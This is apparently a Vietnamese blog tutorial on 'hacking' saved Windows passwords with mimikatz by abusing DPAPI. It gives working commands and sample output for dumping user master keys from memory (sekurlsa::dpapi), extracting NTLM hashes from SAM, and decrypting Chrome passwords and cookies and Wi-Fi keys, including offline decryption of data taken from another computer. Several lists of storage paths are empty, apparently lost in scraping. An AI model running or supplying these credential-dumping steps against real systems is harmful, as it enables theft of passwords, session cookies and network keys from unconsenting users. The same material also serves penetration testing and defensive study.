Cách Hack Password Windows đã lưu bằng Mimikatz và DAPA

Trong bài viết “Cách hack mật khẩu Windows“, mình đã hướng dẫn các bạn cách hack pass login Windows 10 bằng truy xuất RAM. Còn trong bài viết hôm nay, mình sẽ hướng dẫn các bạn làm quen với chương trình mimikatz 2, chương trình mà mình đã sử dụng để trích xuất mật khẩu trong hệ thống đang sử dụng hoặc từ các tệp đăng ký Windows từ một máy tính khác.

Cách Windows lưu trữ mật khẩu

Ngoài mật khẩu dùng để đăng nhập vào Windows, các mật khẩu dưới đây cũng được lưu trữ trong hệ điều hành này:

Tất cả các mật khẩu này đều được mã hóa. Để mã hóa mật khẩu và thông tin đăng nhập, hệ thống phải sử dụng DPAPI (Giao diện lập trình ứng dụng bảo vệ dữ liệu). Đối với người dùng cuối, tất cả các quy trình mã hóa và giải mã dữ liệu đều được minh bạch, tức là các nhà phát triển không đụng chạm tới dữ liệu thô của bạn.

Mật khẩu người dùng được sử dụng để mã hóa các dữ liệu này. Chính xác hơn, các master keys (khóa chính) được tạo ra, với sự trợ giúp của dữ liệu được mã hóa và giải mã, và mật khẩu người dùng được sử dụng để giải mã các khóa chính. Một người dùng có thể có nhiều master keys. Trên thực tế, hàm băm sẽ băm tất cả các mật khẩu cũ được lưu trữ và cố gắng giải mã khóa chính cho đến khi tìm thấy mã băm phù hợp.

Yêu cầu bắt buộc của cơ chế giải mã này là bạn phải có khoá chính phù hợp , ví dụ, mật khẩu từ trình duyệt web Google Chrome. Nhưng nếu bạn sao chép tệp chứa mật khẩu của trình duyệt này sang máy tính khác mà không có khóa chính của máy cũ, thì bạn sẽ không thể giải mã các mật khẩu này.

Cách mã hóa và giải mã bằng DPAPI

Chúng ta sẽ tiếp tục dùng công cụ mimikatz để thực nghiệm Hack tất cả Password đã lưu trên Windows.

Như đã đề cập ở trên, DPAPI được sử dụng để mã hóa và giải mã dữ liệu. DPAPI khá đơn giản không chỉ cho người dùng cuối, mà còn cho các nhà phát triển muốn sử dụng cách mã hóa này – có hai chức năng chính của DPAPI là mã hóa và giải mã, chúng có thể được gọi từ ứng dụng.

Trước khi chuyển sang trích xuất Password từ trình duyệt web và các Password khác được lưu trữ trên Windows, hãy tìm hiểu kỹ hơn về DPAPI. Nhiều bài báo hay đã giải thích cách hoạt động của DPAPI. Vậy nên mình sẽ không giải thích lại nữa, mà chỉ đơn giản là cung cấp các bài viết ở đây. Thay vì đi sâu vào chi tiết lý thuyết của DPAPI, chúng ta hãy thực hiện một vài ví dụ thực tế: mã hóa một chuỗi hoặc tệp bằng DPAPI.

Mô-đun dpapi được sử dụng để làm việc với DPAPI, lệnh protect được sử dụng để mã hóa dữ liệu. Lệnh này có tùy chọn bắt buộc là /data, cuối cùng, bạn chỉ cần nhập đường dẫn đến file hoặc văn bản cần mã hoá là được.

Ví dụ: tôi muốn mã hóa chuỗi ‘Test string to encrypt’:

dpapi::protect /data:"Test string to encrypt"

Hãy chú ý đến phần “Blob:” – đây là dữ liệu được mã hóa ở dạng nhị phân.

Thay vì hiển thị dữ liệu trên command line, chúng có thể được lưu bằng tùy chọn /out:

dpapi::protect /data:"Test string to encrypt" /out:crypted.txt

Kết quả là, tệp crypted.txt đã được tạo. Tệp này chứa dữ liệu “Test string to encrypt” được mã hóa.

Như bạn có thể thấy, chúng ta không cần phải suy nghĩ về khóa chính và mật khẩu – hệ điều hành sẽ tự làm mọi thứ.

Để giải mã, hàm blob được sử dụng (blob là dữ liệu được mã hóa theo phương pháp này) từ cùng một mô-đun dpapi. Hàm này có một tùy chọn bắt buộc là /in, sau đó bạn cần chỉ định dữ liệu để giải mã. Để giải mã, bạn cũng cần chỉ tuỳ chọn /unprotect, nếu không thông tin về blob (dữ liệu được mã hóa) sẽ chỉ được hiển thị mà không có giải mã:

dpapi::blob /in:crypted.txt /unprotect

Nếu bạn muốn lưu dữ liệu đã giải mã vào một tệp, thì hãy sử dụng tùy chọn /out.

Cách giải mã tệp DPAPI trên máy tính khác

Điều gì xảy ra nếu mình chuyển tệp crypto.txt sang một máy tính khác và cố gắng giải mã nó bằng cùng một lệnh trên? Thử xem nhé:

Việc giải mã đã không thành công và xuất hiện lỗi:

* using CryptUnprotectData API ERROR kuhl_m_dpapi_unprotect_raw_or_blob ; NTE_BAD_KEY_STATE, needed Masterkey is: {ac45381a-d9db-4c68-b0e9-7410667c3984}

Nếu bạn để ý kỹ lỗi thì sẽ tìm ra được, thứ chúng ta cần là Masterkey ac45381a-d9db-4c68-b0e9-7410667c3984.

Chuỗi ac45381a-d9db-4c68-b0e9-7410667c398 là mã băm khóa chính. Có thể nói đây là mã định danh hay vân tay của chìa khóa. Trên máy tính ban đầu, nơi dữ liệu đã được mã hóa, việc giải mã chúng rất đơn giản và dễ dàng. Còn khi chúng ta cố gắng giải mã dữ liệu này mà không có khóa chính sẽ không thành công. Vậy nên, thứ chúng ta cần là chỉ định Masterkey từ máy tính ban đầu, cụ thể là máy mà dữ liệu được mã hóa.

Mình đã trích xuất Masterkey và sẽ chỉ định nó bằng cách sử dụng tùy chọn /masterkey và chạy lại lệnh giải mã trên máy tính khác:

dpapi::blob /in:crypted.txt /unprotect /masterkey:5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8

Thành công rồi đó!

Cách tìm Windows Masterkeys

Mimikatz có chức năng trích xuất tất cả các master keys của người dùng hiện tại. Nhưng trước khi chuyển sang phần đó, chúng ta phải tìm hiểu các masterkeys để hiểu hết về cách giải mã này nhé.

Ở dạng đã giải mã, ví dụ masterkey trông như thế này: 5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8

Các masterkeys được mã hóa và lưu trữ trong một thư mục có dạng %appdata%MicrosoftProtect{sid}*. Giải thích:

Trong CMD (Win + r → gõ cmd), bạn có thể thấy SID của mình bằng lệnh:

wmic useraccount where name="%USERNAME%" get sid

Lệnh đó sẽ không hoạt động trong PowerShell. Các lệnh sau sẽ hoạt động trong cả CMD và PowerShell.

Tìm SID của bạn:

whoami /user

Tìm SID cho tất cả các user:

wmic useraccount get name,sid

Các masterkey được mã hoá trên ổ cứng của bạn:

Hàm dpapi::masterkey có thể giải mã các masterkey. Nếu bạn chỉ sử dụng chức năng này với tùy chọn /in, và chỉ định đường dẫn đến masterkey, thì thông tin về nó sẽ được hiển thị mà không cần giải mã:

dpapi::masterkey /in:"%appdata%MicrosoftProtectS-1-5-21-4099021954-1290662600-116018068-1001ac45381a-d9db-4c68-b0e9-7410667c3984"

Để trích xuất tất cả các masterkey của người dùng hiện tại cùng một lúc, hãy chạy lệnh:

sekurlsa::dpapi

Các masterkeys trong này gồm:

Authentication Id : 0 ; 371163 (00000000:0005a9db) Session : Interactive from 1 User Name : MiAl Domain : HACKWARE-MIAL Logon Server : HACKWARE-MIAL Logon Time : 25.02.2020 13:25:54 SID : S-1-5-21-4099021954-1290662600-116018068-1001 [00000000] * GUID : {abd3abfe-f620-46e4-a5ee-8dc314ef4169} * Time : 25.02.2020 18:34:11 * MasterKey : 450e3e2609e394dfef60c90533a06ddd84dc9968965bd8579a3c40607704077e506c8d0738e6f42cfd934b3eb75eedc3c29fe7deb8dd0cf05ddb4deb653fcbff * sha1(key) : 806d3a6453a45b9b4eb3e8edafc9dd4b12c0d494 [00000001] * GUID : {ac45381a-d9db-4c68-b0e9-7410667c3984} * Time : 25.02.2020 18:26:00 * MasterKey : 5dccd3bea06a52d4355fa6b03421845c9fe96277db0d5af1a24eb3daefb14d6fc66b386a3a235a29327d0dc1f7ca990389644af173893d4cf3392b3950953dd8 * sha1(key) : d5a7975eea70b6fe5eae3809ed3c7e9c864d1333

GUID là một định danh (identifier), tên của một tệp masterkey. MasterKey chính là khóa chủ.

Để thuận tiện, mimikatz lưu trữ một bộ nhớ cache của các masterkey được giải nén. Và không chỉ lưu trữ và hiển thị chúng, mà còn sử dụng masterkeys nếu cần cho các hoạt động nhất định. Để xem nội dung của bộ nhớ đệm, hãy chạy lệnh:

dpapi::cache

Các masterkeys được giải nén có thể được sử dụng trên máy khác.

Cách lưu và sử dụng master keys

Để lưu bộ nhớ cache, hãy sử dụng các tùy chọn /save/file: FILE:

dpapi::cache /save/file:cache.bin

Nếu bạn sử dụng tuỳ chọn /file, thì theo mặc định, dữ liệu sẽ được lưu vào tệp mimikatz_dpapi_cache.ndr.

Để load bộ nhớ cache, hãy sử dụng tùy chọn /load/file: FILE:

dpapi::cache /load /file:cache.bin

CREDHIST

Tệp này nằm trên đường dẫn “%appdata%MicrosoftProtectCREDHIST”, chỉ tác dụng trong trường hợp không thuộc domain nào cả. Tệp này:

Để xem các thuộc tính của tệp này, hãy chạy lệnh:

dpapi::credhist /in:"%appdata%MicrosoftProtectCREDHIST"

Ví dụ kết quả:

**CREDHIST** dwVersion : 00000001 - 1

guid : {86cddf31-2b68-42fb-a6e6-28b628228fc8}

dwNextLen : 00000000 - 0

Mình đã cố gắng giải mã tệp này trong mimikatz bằng lệnh:

dpapi::credhist /in:"Z:filesCREDHIST" "/password:qweqwe123" /sid:S-1-5-21-4099021954-1290662600-116018068-1003

nhưng lại không thành công. Nếu bạn biết cách giải mã nó, hãy để lại bình luận nhé.

Cách trích xuất tất cả mật khẩu của Google Chome

Trong mimikatz, sử dụng lệnh dpapi :: chrome, bạn có thể trích xuất tất cả mật khẩu của người dùng hiện tại. Bạn cần sử dụng tùy chọn /in với đường dẫn đến tệp lưu trữ thông tin xác thực. Tệp này nằm trong “%localappdata%GoogleChromeUser DataDefaultLogin Data”. Nhân tiện, tệp này thuộc dạng cơ sở dữ liệu SQLite, trong đó tất cả dữ liệu ngoại trừ mật khẩu (ví dụ: địa chỉ của các trang web) được lưu trữ dưới dạng văn bản rõ ràng. Và mật khẩu được mã hóa bằng DPAPI. Để giải mã, chúng ta cần phải sử dụng tuỳ chọn /unprotect:

dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultLogin Data" /unprotect

Google Chome lưu trữ cookie trong tệp “%localappdata%GoogleChromeUser DataDefaultCookies”. Như với mật khẩu của trang web, tất cả dữ liệu ngoại trừ cookie sẽ được lưu trữ dưới dạng văn bản rõ ràng. Để truy xuất tất cả thông tin của cookie, hãy chạy lệnh:

dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultCookies" /unprotect

Cách trích xuất mật khẩu Wi-Fi của Windows

Trong Windows, mật khẩu Wi-Fi có thể được trích xuất mà không cần mimikatz, ví dụ:

netsh wlan export profile interface= "<INTERFACE NAME>" key=clearfolder=c: netsh wlan export profile interface="*"key=clearfolder=c:

Để phương pháp này hoạt động, bạn phải cắm card Wi-Fi.

Nhược điểm của phương pháp này là nó không hoạt động đối với máy tính đã tắt.

Trong mimikatz có lệnh dpapi :: wifidpapi :: wwan tương ứng để trích xuất mật khẩu từ các kết nối Wi-Fi và WWAN đã lưu.

Mật khẩu Wi-Fi được lưu dưới dạng:

Và mật khẩu WWAN được lưu dưới dạng:

Bạn cần bắt đầu bằng cách lấy các masterkeys. Vì mình thực hiện các lệnh này trên local, nên mình giải mã các masterkey bằng lệnh:

sekurlsa::dpapi

Mình đã tìm thấy trên local hai interfaces, mỗi interfaces có một cấu hình kết nối Wi-Fi:

Để trích xuất mật khẩu Wi-Fi, mìnhchạy các lệnh:

dpapi::wifi /in:"C:ProgramDataMicrosoftWlansvcProfilesInterfaces{24FF5798-6078-4148-96B5-75191CCEA209}{0C67E040-68A8-42A4-B870-8B5AA5E4823B}.xml"

Mật khẩu trong dòng “Key Material:”.

dpapi::wifi /in:"C:ProgramDataMicrosoftWlansvcProfilesInterfaces{C623DA26-72C0-4DD6-99B1-6E2C2D06E8C5}{A372AA08-55B8-4A66-A349-EAAB48580E0A}.xml" /unprotect

Nếu masterkeys không có trong bộ nhớ cache mimikatz, bạn có thể chỉ định rõ ràng nó bằng tùy chọn /masterkey.

Cách trích xuất mật khẩu Google Chrome từ một máy tính khác

  1. Để giải mã tệp “%localappdata%GoogleChromeUser DataDefaultLogin Data”, bạn cần Masterkey được mã hóa mật khẩu trong tệp này.
  2. Để giải mã masterkeys, bạn cần mật khẩu người dùng Windows để đăng nhập vào hệ thống và tệp masterkeys được mã hóa, tức là tệp %appdata%MicrosoftProtect{sid}*.
  3. Để bẻ khóa mật khẩu người dùng Windows, bạn cần có hàm băm NTLM.
  4. Để truy xuất mã băm NTLM, bạn cần các tệp đăng ký (registry files) C:/Windows/System32/config/SAM C:/Windows/System32/config/SYSTEM, hoặc kết xuất lsass.DMP. Hơn nữa, tốt hơn là sử dụng kết xuất vì có thể trích xuất hàm băm SHA1 từ nó và hàm băm này có thể được sử dụng trực tiếp để giải mã masterkeys.
    lsadump::sam /system:C:pathtoSYSTEM /sam:C:pathtoSAM
  5. Sau đó, để lấy Masterkey ngoại tuyến, bạn cần chạy lệnh sau:
    dpapi::masterkey /in:"pathtoencryptedmasterkey" "/password:target_user_password" /sid:target_user_SID

SID có thể được lấy từ tên thư mục đến masterkeys được mã hóa.

dpapi::masterkey /in:"Z:files1f89c852-1c9d-47f9-81f8-b18be7c11512" "/password:qweqwe123" /sid:S-1-5-21-4099021954-1290662600-116018068-1003

Nếu thành công, thông tin sau sẽ được hiển thị ở cuối kết quả:

[masterkey] with volatile cache: SID:S-1-5-21-4099021954-1290662600-116018068-1003;GUID:{1bd91e0f-25f3-49e9-a370-bc68d1f0d272};MD4:ca76a176340f0291e1cc8ea7277fc571;SHA1:886d0f341f3c29030ec855334a08e52868c06c69; key : 89e43af0a178c2f1c7311c028dd75e2d2489fc78a3df92808094b1671785d6fd7f107ec562320bcaa8563be759abbf60bf70791107c5240cda2cfddcb003df19 sha1: b73d4d8cbbdafa960e49ca480559a4b530e65f05

Dòng chính bắt đầu bằng key– đây là masterkey được giải mã.

Ngoài ra, masterkeys sẽ được lưu vào bộ nhớ đệm.

Cuối cùng, để giải mã ngoại tuyến mật khẩu trình duyệt Google Chrome, hãy chạy lệnh:

dpapi::chrome /in:"PATHTOLogin Data" /unprotect /masterkey:MASTERKEY

Nếu masterkey đã có trong bộ nhớ cache, thì bạn có thể bỏ qua tùy chọn /masterkey.

Nơi Windows lưu trữ mật khẩu

Đây là các đường dẫn đến các tệp được mã hóa bằng DPAPI. Nếu bị thiếu cái nào, thì các bạn nhớ bình luận nhé:

Pivot table của tác giả mimikatz (rất khó đọc):

Mật khẩu Wi-Fi được lưu trữ trong:

Mật khẩu WWAN được lưu trữ trong:

Cookies Google Chrome được lưu trữ trong:

Mật khẩu của website được lưu trữ trong:

% localappdata% thường là ‘C:Users<USERNAME>AppDataLocal’.

Các masterkeys đã mã hóa được lưu trữ trong một thư mục có dạng %appdata%MicrosoftProtect{sid}*.

System master keys:

Chứng chỉ user:

Chứng chỉ hệ thống:

Dropbox:

Rsa securid:

Kết luận

Bạn sẽ tìm thấy thêm thông tin trong tài liệu về các mô-đun và lệnh của mimikatz. 

Đánh giá post
Exit mobile version